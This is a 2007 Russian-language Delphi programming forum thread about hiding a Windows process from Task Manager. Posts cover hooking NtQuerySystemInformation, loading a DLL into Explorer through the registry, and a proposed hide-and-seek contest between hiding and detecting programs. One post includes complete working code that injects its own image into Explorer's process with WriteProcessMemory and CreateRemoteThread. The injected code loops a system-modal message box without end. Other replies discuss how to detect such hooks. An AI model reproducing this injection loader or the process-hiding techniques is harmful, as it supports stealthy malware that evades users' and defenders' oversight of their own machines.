![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
процеси и потоки [D7, WinXP]
bmw © (2007-01-05 11:09:00)как спрятать прцес из списка CTRL ALt DEL. или как сделать обработчик собітия которій будет ловить сообщения завершения (любово) процеса
kaZaNoVa (2007-01-08 09:41:00) [1]Удалено модератором
Riply (2007-01-08 08:44:00) [2]> [21] kaZaNoVa © (08.01.07 07:48)
>вариант [5] прячется от штатного Диспетчера
Ну..., так не интересно.
Ты бы еще от калькулятора спрятался :)
Ну не писать же мне перехват к TaskMng
с подменой подмененной SQI на настоящую, чтобы он увидел pro.exe :)
(Ищ ты какая фраза получилась :))
Давай так: я даю путь к exe, которым буду искать,
а ты волен пытаться его обмануть как угодно.
>очень интересно, как ..))))
Базируясь на разработках Игоря Шевченко, в частности на HsPeImage.pas.
Грубо, суть такова:
по адресу перехваченной функции пытаемся найти DLL - ку,
осуществившую перехват, ну и попутно вызвать "настоящую" функцию.
kaZaNoVa (2007-01-08 07:48:00) [3]Удалено модератором
Riply (2007-01-08 03:46:00) [4]Никак не могла заставить pro.exe от меня спрятаться.
Вижу его и все тут :)) Пока не сообразила, что надо
загружать NtQuerySystemInformation статически.
При динамической загрузке Hide.dll ее не перехватывает.
Т.е. можно считать, что не спятались :)
С меня осталось получение имени виновника перехвата :)
Riply (2007-01-08 01:13:00) [5]> [18] kaZaNoVa © (08.01.07 01:00)
>именно эту задачу я успешно решил в [5], какие будут предложения?))
Сейчас попробую. О результатах доложу.
P.S. Может мне понадобиться некоторое время.
kaZaNoVa (2007-01-08 01:00:00) [6]Riply © (08.01.07 0:27) [16]
Тогда упростим задачу - будем прятаться от конкретной программы
именно эту задачу я успешно решил в [5], какие будут предложения?)) :crazy: (еще был код, который прятался от процесс-эскплорера но глюкавый)
Riply (2007-01-08 00:41:00) [7]P.S. Играют же люди в "CrackMe", а здесь будет "FindMe" :)
Riply (2007-01-08 00:27:00) [8]>забавно) думаю у меня немного шансов)
Тогда упростим задачу - будем прятаться от конкретной программы
>но через что-то типа VMware + прога сканирования реестра и
>файлов= мою прогу находят мгновенно
Но, чтобы это использовать, надо сначала написать :)
> .... бесмысленный спор)
Спора никакого нет. Есть предложение просто поиграть в игру,
которая (надеюсь) принесет какие-то познания :)
>сразу виден уровень автора))
Значит тебе проще будет прятаться, а мне сложнее искать :)
P.S. Я не хочу никому ничего доказывать.
Очень вероятно, что я проиграю. Но все равно - интересно.
kaZaNoVa (2007-01-07 23:59:00) [9]
> DLL - кой или сервисом)
хороший сервис из юзер-режима) сразу виден уровень автора))
kaZaNoVa (2007-01-07 23:58:00) [10]Riply © (07.01.07 23:17) [12]
3. Твоя задача (будь ты процессом, DLL - кой или сервисом)
я пишу дллку, гружу в эксплорер через реестр ... простой юзер не найдет 99%....
но через что-то типа VMware + прога сканирования реестра и файлов= мою прогу находят мгновенно .... бесмысленный спор)
kaZaNoVa (2007-01-07 23:55:00) [11]Riply © (07.01.07 23:17) [12]
1. Все происходит в "Юзер моде". (Большее я не потяну:( )
забавно) думаю у меня немного шансов)
а по теме как там автор решил проблему?
Riply (2007-01-07 23:17:00) [12]>[9] kaZaNoVa © (07.01.07 17:21)
>по поводу абсолютного скрытия было много наработок разного типа
Привет !
Помня твое пристрастие к "сокрытиям", делаю предложение,
"от которого ты не сможешь отказаться" (с)Крестный отец
Давай поиграем "в прятки" ?
Ты будешь прятаться у меня на компьютере, а я тебя искать.
Условия такие:
1. Все происходит в "Юзер моде". (Большее я не потяну:( )
2. Для прятанья и поиска используются только собственно - лапно
написанные модули. (например, я не имею права использовать даже TaskMgr).
3. Твоя задача (будь ты процессом, DLL - кой или сервисом)
стать невидимым и переодически, любым образом, сообщать
о том, что ты жив :)) Переодичность я могу менять.
4. Моя - найти тебя и способ "убиения" :)
Разумеется рестарт тебя не убивает :)
5. Все "пряталки" имеют доступные Install и Uninstall.
После Uninstall - а все в первозданном виде, как будто ничего и не было :)
6. Не допускается изменение (временное в т. ч.) никаких системных файлов, настроек и т. п.
(кроме прописывания себя туда, откуда собрался стартовать)
7. Любая (самая незначительная) ошибка системы в результате твоих действий
- твой проигрыш. P.S. Надеюсь до краха не дойдет. :)
Я смогу посвящать "пряткам" примерно час в день.
kaZaNoVa (2007-01-07 17:52:00) [13]Vasy_a (07.01.07 7:18) [6]
p.s. информация к размышлению))
угадай как работает вот это: (на sp2 может не работать ...()
program loader;
{$IMAGEBASE $70000000}
uses
Windows,Messages;
Var
hProcess, hTh: THandle;
MemPtr: Pointer;
PID,ExitCode,Size,BytesWritten,ThreadID: Cardinal;
function ThreadF1(dwEntryPoint: Pointer): longword; stdcall;
begin
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
while true do
MessageBox(0,'Maliska, ti super !', 'Vay!!', MB_SYSTEMMODAL);
Result:=0;
end;
function Main1(dwEntryPoint: Pointer): longword; stdcall;
begin
CreateThread(nil,0,@ThreadF1,dwEntryPoint,0,ThreadID);
Result:=0;
end;
begin
GetWindowThreadProcessId(FindWindow('Progman', nil), @PID); //;)
if PID = 0 then Exit;
MemPtr:= Pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(Pointer(integer(MemPtr) + PImageDosHeader(MemPtr)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
hProcess := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,true,PID);
if hProcess = 0 then Exit;
BytesWritten:=0;
VirtualFreeEx(hProcess,MemPtr, 0, MEM_RELEASE);
MemPtr := VirtualAllocEx(hProcess,MemPtr, Size , MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE );
if MemPtr <> nil then
begin
if WriteProcessMemory(hProcess, MemPtr,MemPtr, Size, BytesWritten) then
begin
hTh := CreateRemoteThread(hProcess, nil, 0,@Main1,MemPtr, 0, ThreadID);
if hTh <> 0 then
begin
if (WaitForSingleObject(hTh,INFINITE) = WAIT_OBJECT_0) and
GetExitCodeThread(hTh, ExitCode) then CloseHandle(hTh);
end;
end ;
// VirtualFreeEx(hProcess, MemPtr, 0, MEM_RELEASE); //?
end;
CloseHandle(hProcess);
end.
kaZaNoVa (2007-01-07 17:24:00) [14]Vasy_a (07.01.07 7:18) [6]
выяснить, кто установил перехват (естественно, только, какая программа)
этой "программой" вполне может быть и тот же Explorer (привет DLL'ам) - что тогда скажите:)))) ?
хотя при полном включенном аудите систему все находится ... но не об этом речь ..)
kaZaNoVa (2007-01-07 17:21:00) [15]Vasy_a (07.01.07 7:18) [6]
Как бы не было досадно автору программы, но NtQuerySystemInformation только обёртка для ZwQuerySystemInformation - это раз.
ЗАДАЧАбыла толькоскрыть от от штатного Диспетчера Задач.
что и было реализовано)
по поводу абсолютного скрытия было много наработок разного типа но полностью решить эту задачу невозможно, поэтмоу и я забросил в своё время эту затею ...
Vasy_a (2007-01-07 07:50:00) [16]
> Shuhrad © (07.01.07 07:36) [7]
Нижайше звиняюсь, в юзермоде они имеют одну точку входа(в смысле в ntdll.dll).
А в кернелмоде, честно говоря, сейчас лениво смотреть, но (возможно ошибаюсь) всё-таки Nt* проверяет параметры и вызывает Zw*.
Shuhrad (2007-01-07 07:36:00) [17]"NtQuerySystemInformation только обёртка для ZwQuerySystemInformation"
Сколько открытий совершается на этом форуме !
Vasy_a (2007-01-07 07:18:00) [18]Ну, и тут вставлю свои 5 копеек..
> Легендарная программа - перехват Windows API функций на
> примере знаменитой NtQuerySystemInformation - программа
> демонстрирует невидимость в NT-системах от штатного Диспетчера
> Задач
Как бы не было досадно автору программы, но NtQuerySystemInformation только обёртка для ZwQuerySystemInformation - это раз. Два - востановить адрес оригинальной ф-ии дело - с десяток строк кода, и (кажется) на этом форуме уже приводилось.
Обнаружить можно с помощью Process Explorer. Главное достоинство программы - простота реализации.
Вах!...
Ну, и на последок - возможно не только востановить адрес оригинальной ф-ии, но ещё и выяснить, кто установил перехват (естественно, только, какая программа), что уже чревато отрыванием первичных половых признаков автору этой программы.
kaZaNoVa (2007-01-05 14:31:00) [19]http://kladovka.net.ru/index.cgi?pid=list&rid=328
api_hide_perexvat.zip (2730 байт)
kaZaNoVa : 2006-02-06 15:23:33
Легендарная программа - перехват Windows API функций на примере знаменитой NtQuerySystemInformation - программа демонстрирует невидимость в NT-системах от штатного Диспетчера Задач. Программа написана чисто с демонстративной целью и никаких деструктивных действий не делает. Обнаружить можно с помощью Process Explorer. Главное достоинство программы - простота реализации.
Anatoly Podgoretsky (2007-01-05 13:26:00) [20]> forex (05.01.2007 13:14:03) [3]
С давних, это доступно только на платформе 9х, на платформе НТ показывается диалог с кучей кнопок для выполнения различных операций.